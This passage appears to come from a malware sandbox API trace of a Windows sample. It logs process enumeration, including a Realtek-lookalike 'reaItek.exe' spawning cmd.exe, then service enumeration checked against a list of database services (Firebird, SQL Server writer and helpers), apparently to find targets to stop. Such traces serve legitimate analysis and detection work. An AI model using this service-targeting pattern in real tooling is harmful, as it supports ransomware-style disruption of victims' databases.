pcPriClassBase=8, dwFlags=0x0, szExeFile="isolated-concerned.exe")) returned 1 [0113.531] lstrlenW (lpString="isolated-concerned.exe") returned 22 [0113.531] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="memberromanialiberia.exe")) returned 1 [0113.531] lstrlenW (lpString="memberromanialiberia.exe") returned 24 [0113.531] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="blademcdonald.exe")) returned 1 [0113.532] lstrlenW (lpString="blademcdonald.exe") returned 17 [0113.532] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="courage.exe")) returned 1 [0113.533] lstrlenW (lpString="courage.exe") returned 11 [0113.533] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="pearl.exe")) returned 1 [0113.533] lstrlenW (lpString="pearl.exe") returned 9 [0113.534] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="quantum_appeals_das.exe")) returned 1 [0113.534] lstrlenW (lpString="quantum_appeals_das.exe") returned 23 [0113.534] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="mixture_bidding_beam.exe")) returned 1 [0113.535] lstrlenW (lpString="mixture_bidding_beam.exe") returned 24 [0113.535] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="customs-denial-enough.exe")) returned 1 [0113.536] lstrlenW (lpString="customs-denial-enough.exe") returned 25 [0113.536] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xca0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="dome.exe")) returned 1 [0113.536] lstrlenW (lpString="dome.exe") returned 8 [0113.536] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="wires_jacket_neighborhood.exe")) returned 1 [0113.537] lstrlenW (lpString="wires_jacket_neighborhood.exe") returned 29 [0113.537] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="paying.exe")) returned 1 [0113.538] lstrlenW (lpString="paying.exe") returned 10 [0113.538] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="emission.exe")) returned 1 [0113.539] lstrlenW (lpString="emission.exe") returned 12 [0113.539] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x200, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="sandy_barriers.exe")) returned 1 [0113.539] lstrlenW (lpString="sandy_barriers.exe") returned 18 [0113.539] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="charter.exe")) returned 1 [0113.540] lstrlenW (lpString="charter.exe") returned 11 [0113.540] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="nickel.exe")) returned 1 [0113.541] lstrlenW (lpString="nickel.exe") returned 10 [0113.541] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x490, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="opened-conservative-warnings.exe")) returned 1 [0113.542] lstrlenW (lpString="opened-conservative-warnings.exe") returned 32 [0113.542] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="wrist.exe")) returned 1 [0113.543] lstrlenW (lpString="wrist.exe") returned 9 [0113.543] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x868, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="bloodpopularity.exe")) returned 1 [0113.543] lstrlenW (lpString="bloodpopularity.exe") returned 19 [0113.543] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="neck.exe")) returned 1 [0113.544] lstrlenW (lpString="neck.exe") returned 8 [0113.544] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xecc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="TrustedInstaller.exe")) returned 1 [0113.545] lstrlenW (lpString="TrustedInstaller.exe") returned 20 [0113.545] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0113.546] lstrlenW (lpString="dllhost.exe") returned 11 [0113.546] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0113.547] lstrlenW (lpString="taskhostw.exe") returned 13 [0113.547] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x37c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0113.547] lstrlenW (lpString="svchost.exe") returned 11 [0113.547] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x408, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="reaItek.exe")) returned 1 [0113.548] lstrlenW (lpString="reaItek.exe") returned 11 [0113.548] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0113.549] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0113.549] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x548, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x12c, pcPriClassBase=4, dwFlags=0x0, szExeFile="CompatTelRunner.exe")) returned 1 [0113.550] lstrlenW (lpString="CompatTelRunner.exe") returned 19 [0113.550] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x470, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x548, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0113.550] lstrlenW (lpString="conhost.exe") returned 11 [0113.551] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x408, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0113.551] lstrlenW (lpString="cmd.exe") returned 7 [0113.551] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x9fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0113.552] lstrlenW (lpString="conhost.exe") returned 11 [0113.552] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0113.553] lstrlenW (lpString="sppsvc.exe") returned 10 [0113.553] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 0 [0113.554] CloseHandle (hObject=0x2f4) returned 1 [0113.554] Sleep (dwMilliseconds=0x1f4) [0114.208] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x5fecc8 [0114.208] EnumServicesStatusExW (in: hSCManager=0x5fecc8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0) returned 0 [0114.209] GetLastError () returned 0xea [0114.209] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x1fc0) returned 0x617720 [0114.209] EnumServicesStatusExW (in: hSCManager=0x5fecc8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x617720, cbBufSize=0x1fc0, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x617720, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0) returned 1 [0114.210] CloseServiceHandle (hSCObject=0x5fecc8) returned 1 [0114.210] lstrlenW (lpString="Appinfo") returned 7 [0114.211] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0114.211] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0114.211] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0114.211] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0114.211] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0114.211] lstrlenW (lpString="AppXSvc") returned 7 [0114.211] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0114.211] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0114.211] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0114.211] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0114.211] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0114.211] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0114.211] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0114.211] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0114.211] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0114.211] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0114.211] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0114.211] lstrlenW (lpString="Audiosrv") returned 8 [0114.211] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0114.211] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0114.211] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0114.211] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0114.211] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0114.211] lstrlenW (lpString="BFE") returned 3 [0114.211] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0114.211] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0114.212] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0114.212] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0114.212] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0114.212] lstrlenW (lpString="BITS") returned 4 [0114.212] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0114.212] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0114.212] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0114.212] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0114.212] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0114.212] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0114.212] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0114.212] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0114.212] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0114.212] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0114.212] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0114.212] lstrlenW (lpString="CDPSvc") returned 6 [0114.212] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0114.212] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0114.212] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0114.212] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0114.212] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0114.212] lstrlenW (lpString="ClickToRunSvc") returned 13 [0114.212] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0114.212] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0114.212] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0114.212] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0114.213] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0114.213] lstrlenW (lpString="ClipSVC") returned 7 [0114.213] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClipSVC") returned 1 [0114.213] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClipSVC") returned 1 [0114.213] lstrcmpiW (lpString1="sqlwriter", lpString2="ClipSVC") returned 1 [0114.213] lstrcmpiW (lpString1="mssqlserver", lpString2="ClipSVC") returned 1 [0114.213] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClipSVC") returned 1 [0114.213] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0114.213] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0114.213] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0114.213] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0114.213] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0114.213] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0114.213] lstrlenW (lpString="CryptSvc") returned 8 [0114.213] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0114.213] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0114.213] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0114.213] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0114.213] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0114.213] lstrlenW (lpString="DcomLaunch") returned 10 [0114.213] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0114.213] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0114.213] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0114.213] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0114.213] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0114.213] lstrlenW (lpString="DeviceAssociationService") returned 24 [0114.214] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0114.214] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0114.214] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0114.214] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0114.214] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0114.214] lstrlenW (lpString="Dhcp") returned 4 [0114.214] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0114.214] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0114.214] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0114.214] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0114.214] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0114.214] lstrlenW (lpString="Dnscache") returned 8 [0114.214] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0114.214] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0114.214] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0114.214] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0114.214] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0114.214] lstrlenW (lpString="DoSvc") returned 5 [0114.214] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0114.214] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0114.214] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0114.214] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0114.214] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0114.214] lstrlenW (lpString="DPS") returned 3 [0114.214] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0114.214] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0114.215] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0114.215] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0114.215] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0114.215] lstrlenW (lpString="DusmSvc") returned 7 [0114.215] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0114.215] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0114.215] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0114.215] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0114.215] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0114.215] lstrlenW (lpString="EventLog") returned 8 [0114.215] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0114.215] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0114.215] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0114.215] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0114.215] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0114.215] lstrlenW (lpString="EventSystem") returned 11 [0114.215] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0114.215] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0114.215] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0114.215] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0114.215] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0114.215] lstrlenW (lpString="FontCache") returned 9 [0114.215] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0114.215] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0114.215] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0114.215] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0114.215] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0114.216] lstrlenW (lpString="gpsvc") returned 5 [0114.216] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0114.216] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0114.216] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0114.216] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0114.216] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0114.216] lstrlenW (lpString="iphlpsvc") returned 8 [0114.216] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0114.216] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0114.216] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0114.216] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0114.216] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0114.216] lstrlenW (lpString="KeyIso") returned 6 [0114.216] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0114.216] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0114.216] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0114.216] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0114.216] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0114.216] lstrlenW (lpString="LanmanServer") returned 12 [0114.216] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0114.216] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0114.216] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0114.216] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0114.216] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0114.216] lstrlenW (lpString="LanmanWorkstation") returned 17 [0114.216] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0114.217] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0114.217] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0114.217] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0114.217] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0114.217] lstrlenW (lpString="lfsvc") returned 5 [0114.217] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0114.217] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0114.217] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0114.217] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0114.217] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0114.217] lstrlenW (lpString="LicenseManager") returned 14 [0114.217] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LicenseManager") returned -1 [0114.217] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LicenseManager") returned -1 [0114.217] lstrcmpiW (lpString1="sqlwriter", lpString2="LicenseManager") returned 1 [0114.217] lstrcmpiW (lpString1="mssqlserver", lpString2="LicenseManager") returned 1 [0114.217] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LicenseManager") returned 1 [0114.217] lstrlenW (lpString="lmhosts") returned 7 [0114.217] lstrcmpiW 